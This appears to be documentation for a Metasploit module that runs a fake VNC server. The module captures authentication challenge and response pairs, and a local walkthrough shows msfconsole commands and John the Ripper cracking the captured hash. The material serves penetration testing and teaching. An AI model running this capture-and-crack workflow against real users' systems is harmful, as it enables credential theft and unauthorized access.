This module creates a mock VNC server which accepts credentials. Upon receiving a login attempt, an `Authentication failure` error is thrown. ## Verification Steps 1. Start msfconsole 2. Do: ```use auxiliary/server/capture/vnc``` 3. Do: ```run``` ## Options **CHALLENGE** The 16 byte challenge used in the authentication. Default is `00112233445566778899aabbccddeeff`. **JOHNPWFILE** Write a file containing a John the Ripper format for cracking the credentials. Default is ``. **SSL** Boolean if SSL should be used. Default is `False`. **SSLCert** File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically generated. Default is ``. ## Scenarios ### VNC with vncviewer and JTR Cracking Server, Client: ``` msf5 > use auxiliary/server/capture/vnc msf5 auxiliary(server/capture/vnc) > use auxiliary/server/capture/vnc msf5 auxiliary(server/capture/vnc) > set johnpwfile /tmp/john johnpwfile => /tmp/john msf5 auxiliary(server/capture/vnc) > run [*] Auxiliary module running as background job 0. msf5 auxiliary(server/capture/vnc) > [*] Started service listener on 0.0.0.0:5900 [*] Server started. msf5 auxiliary(server/capture/vnc) > vncviewer 127.0.0.1 [*] exec: vncviewer 127.0.0.1 Connected to RFB server, using protocol version 3.7 Performing standard VNC authentication Password: Authentication failure [+] 127.0.0.1:40240 - Challenge: 00112233445566778899aabbccddeeff; Response: b7b9c87777661a7a2299733209bfdfce ``` John the Ripper (JTR) Cracker: ``` msf5 auxiliary(server/capture/vnc) > john /tmp/john_vnc [*] exec: john /tmp/john_vnc Using default input encoding: UTF-8 Loaded 1 password hash (VNC [DES 32/64]) Press 'q' or Ctrl-C to abort, almost any other key for status password (?) 1g 0:00:00:00 DONE 2/3 (2018-11-11 20:38) 25.00g/s 75.00p/s 75.00c/s 75.00C/s password Use the "--show" option to display all of the cracked passwords reliably Session completed ```